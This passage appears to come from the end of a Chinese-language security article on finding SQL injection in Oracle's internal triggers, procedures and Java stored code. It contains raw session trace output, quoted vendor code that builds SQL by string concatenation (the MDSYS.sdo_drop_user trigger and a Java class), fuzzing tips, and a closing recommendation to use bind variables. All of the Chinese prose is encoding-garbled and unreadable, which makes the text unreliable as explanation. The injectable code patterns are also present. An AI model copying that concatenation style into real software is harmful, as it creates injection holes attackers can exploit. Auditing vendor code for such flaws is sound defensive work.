#1:c=0,e=154,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5831012236 WAIT #1: nam='SQL*Net message from client' ela= 2431209 p1=1413697536 p2=1 p3=0 ===================== PARSING IN CURSOR #1 len=21 dep=0 uid=61 oct=3 lid=61 tim=5833443769 hv=2888538493 ad='669abe84' select 'x' from dual END OF STMT PARSE #1:c=0,e=49,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833443764 BINDS #1: EXEC #1:c=0,e=38,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833443861 WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0 WAIT #1: nam='SQL*Net message from client' ela= 412 p1=1413697536 p2=1 p3=0 WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0 FETCH #1:c=0,e=55,p=0,cr=3,cu=0,mis=0,r=1,dep=0,og=4,tim=5833444394 WAIT #1: nam='SQL*Net message from client' ela= 526 p1=1413697536 p2=1 p3=0 STAT #1 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL ' ===================== PARSING IN CURSOR #1 len=114 dep=0 uid=61 oct=47 lid=61 tim=5833445119 hv=2628502993 ad='669c5924' begin if :enable = 0 then sys.dbms_output.disable; else sys.dbms_output.enable(:size); end if; end; END OF STMT PARSE #1:c=0,e=86,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833445116 BINDS #1: bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=48 offset=0 bfp=04a8fb68 bln=22 avl=02 flg=05 value=1 bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=0 offset=24 bfp=04a8fb80 bln=22 avl=02 flg=01 value=10000 WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0 EXEC #1:c=0,e=164,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5833445350 WAIT #1: nam='SQL*Net message from client' ela= 44290 p1=1413697536 p2=1 p3=0 ===================== PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 tim=5833489927 hv=3517412409 ad='669b2620' begin :id := sys.dbms_transaction.local_transaction_id; end; END OF STMT PARSE #1:c=0,e=109,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833489922 BINDS #1: bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0 bfp=04c0f830 bln=2000 avl=00 flg=05 WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0 EXEC #1:c=0,e=141,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5833490119 WAIT #1: nam='SQL*Net message from client' ela= 680 p1=1413697536 p2=1 p3=0 ===================== PARSING IN CURSOR #1 len=56 dep=0 uid=61 oct=42 lid=61 tim=5833510806 hv=1342917134 ad='66548fe8' ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT OFF' ÎÒÃǵĽáÊøÓï¾ä END OF STMT PARSE #1:c=0,e=19909,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,tim=5833510799 BINDS #1: EXEC #1:c=0,e=76,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833510934 OK,Åãż¿´ÁËÕâô¶àÀ¬»ø£¬ÐÁ¿à´ó¼ÒÁË¡£ÒÔÉϵÄSQL×¢Èë¾ÍÊÇÀàËÆÎÒÃǵÄExample2£¬ËùÒÔ ²»¿ÉÒÔ¶àÓï¾ä£¬Ö»ÄÜ×¢ÈëÒ»¸öEXPº¯Êý½øÐй¥»÷¡£ ÄÇôÆä´Îtrigger¾ÍÊÇ¼à¿Ø¶Ôϵͳ±íµÄÔöɾ¸Ä²Ù×÷£¬È»ºóÆä·ÖÎö¡£»¹ÓÐRedoÈÕÖ¾·ÖÎöÎÒ ÕâÀï¾Í²»ÔÙ¶à˵ÁË£¬´ó¼Ò¿ÉÒÔÈ¥¿´¿´ÓйØORACLE DBAµÄ×ÊÁÏ¡£ Èý¡¢Î²Éù ±¾ÎĽéÉÜÁ˹ØÓÚORACLEÄÚ²¿×¢ÉäµÄ©¶´¼ì²éºÍÍÚ¾ò£¬µ«ÊÇÒÔÉÏÀý×Ó¶¼ËµÁËºÃ¶à¹ØÓÚ´æ´¢ ¹ý³Ì»òÕߺ¯ÊýµÄ©¶´£¬Æäʵ²¢²»ÊÇÕâÑùµÄ¡£ÎÒÃÇÏÂÃæµÄÒ»¸öϵͳtrigger£º create or replace trigger MDSYS.sdo_drop_user after drop on DATABASE declare stmt varchar2(200); BEGIN if dictionary_obj_type = 'USER' THEN stmt := 'DELETE FROM SDO_GEOM_METADATA_TABLE ' || ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' '; EXECUTE IMMEDIATE stmt; stmt := 'DELETE FROM SDO_MAPS_TABLE ' || ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' '; EXECUTE IMMEDIATE stmt; stmt := 'DELETE FROM SDO_STYLES_TABLE ' || ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' '; EXECUTE IMMEDIATE stmt; stmt := 'DELETE FROM SDO_THEMES_TABLE ' || ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' '; EXECUTE IMMEDIATE stmt; stmt := 'DELETE FROM SDO_LRS_METADATA_TABLE ' || ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' '; EXECUTE IMMEDIATE stmt; end if; end; ±»É¾³ýµÄ¶ÔÏósys.dictionary_obj_nameÕâÀï¾Í´æÔÚSQL×¢Èë¹¥»÷ÁË¡£ ÄÇôÎÒÃÇÔÙÀ´¼òµ¥·ÖÎöÒ»¸öSQLJ£¬Çë¿´ÎÒ±ê×¢µÄµØ·½£º create or replace and compile java source named sys./28221493_foreachclass as /* generated by Jasper from ForEachClass.jsl */ package oracle.jaccelerator.server; import oracle.aurora.rdbms.ClassHandle; import oracle.jaccelerator.server.PackageValidateAll; import java.lang.String; import oracle.jaccelerator.server.ClassProcessor; import oracle.aurora.rdbms.Schema; import oracle.jaccelerator.server.ForEachClass; import java.sql.Connection; import oracle.jaccelerator.server.PackageDisableNcomp; import oracle.aurora.rdbms.Handle; import java.lang.Exception; import oracle.sql.*; import java.io.*; import oracle.jaccelerator.server.*; import oracle.jdbc.driver.*; import java.sql.*; import java.lang.*; import java.util.*; public class ForEachClass { public static String from_plsql (String processorName, String packageNamePattern, String schema) { ClassProcessor processor = null; try { Class clazz = Class.forName("oracle.jaccelerator.server." + processorName); processor = ((ClassProcessor)clazz.newInstance()).init(packageNamePattern, schema); } catch (ClassNotFoundException ex) { return "class oracle.jaccelerator.server." + processorName + " not found"; } catch (Exception ex2) { return "can not instantiate class oracle.jaccelerator.server." + processorName; } int count = ForEachClass.inPackage(packageNamePattern, schema).apply(processor); return "processed total: " + count + " classes"; } public static ForEachClass inPackage (String packageName, String schema) { return new ForEachClass(packageName, schema); } Connection connection; int counter = 0; String packageNamePattern; String schema; public ForEachClass (String packageNamePattern, String schema) { this.packageNamePattern = packageNamePattern.replace('.', '/'); this.schema = schema; } public int apply (ClassProcessor processor) { try { OracleDriver driver = new OracleDriver(); connection = driver.defaultConnection(); doit(processor); } catch (Exception e) { e.printStackTrace(); } finally { if (connection != null) { } } return counter; } void cleanup (Connection connection) { } public void doit (ClassProcessor processor) throws java.lang.Exception { cleanup(connection); Statement stmt = connection.createStatement(); try { String cmd; cmd = "select dbms_java.longname(OBJECT_NAME) " + "from user_objects " + "where OBJECT_TYPE = 'JAVA CLASS' and " + "dbms_java.longname(OBJECT_NAME) like '" + packageNamePattern + "/%' " + "and dbms_java.longname(OBJECT_NAME) not like '" + packageNamePattern + "/%/%'"; //ÒÔÉÏ´úÂë´æ´¢SQL×¢ÈëµÄÏÓÒÉ ResultSet rset = stmt.executeQuery(cmd); while (rset.next()) { String className = rset.getString(1); processor.execute(className); counter++; } } catch (Exception e) { System.out.println(" got error " + e); } finally { if (stmt != null) stmt.close(); } } } ¿´µ½Á˰ɣ¬ÍùÍùÆ´½ÓSQLÓï¾ä¾ÍÊÇΣÏյĿªÊ¼£¬OK£¬Ê£ÏµÄÎҾͲ»¶à˵ÁË¡£ ËÄ¡¢×îºó ÕâÀï˵һÏÂORACLE¼òµ¥µÄFUZZ£¬¿ÉÒÔ²éѯALL_OBJECTSÕÒ³öËùÓеÄpackage function procedureÓëALL_ARGUMENTS¹ØÁª»ñȡִÐжÔÏóµÄ²ÎÊýÀàÐÍ£¡µ±È»×îºÃÊÇÉóºËÒ»ÏÂFUZZµÄ¶ÔÏó EXECUTEȨÏÞÊÇ·ñΪPUBLIC£º select * from ALL_TAB_PRIVS ÈçÊý×ֵĿÉÒÔʹÓÃTO_NUMBER(0.10001,'999999D99999')£¬×Ö·û´®¿ÉÒÔ³¢ÊÔʹÓà " ' ; ÕâЩ±ß½ç×Ö·û²âÊÔ¡£²»¹ý»¹Óкöà×Ô¶¨ÒåÀàÐÍû°ì·¨Ì«ÖÇÄܵļì²â¡£»¹ÊÇ·ÖÎö´úÂë×îΪÍõ µÀ¡£ ×îºó˵һ¾ä£¬ÇëʹÓòÎÊý°ó¶¨·ÀÖ¹SQL×¢È롣лл£¡ -EOF-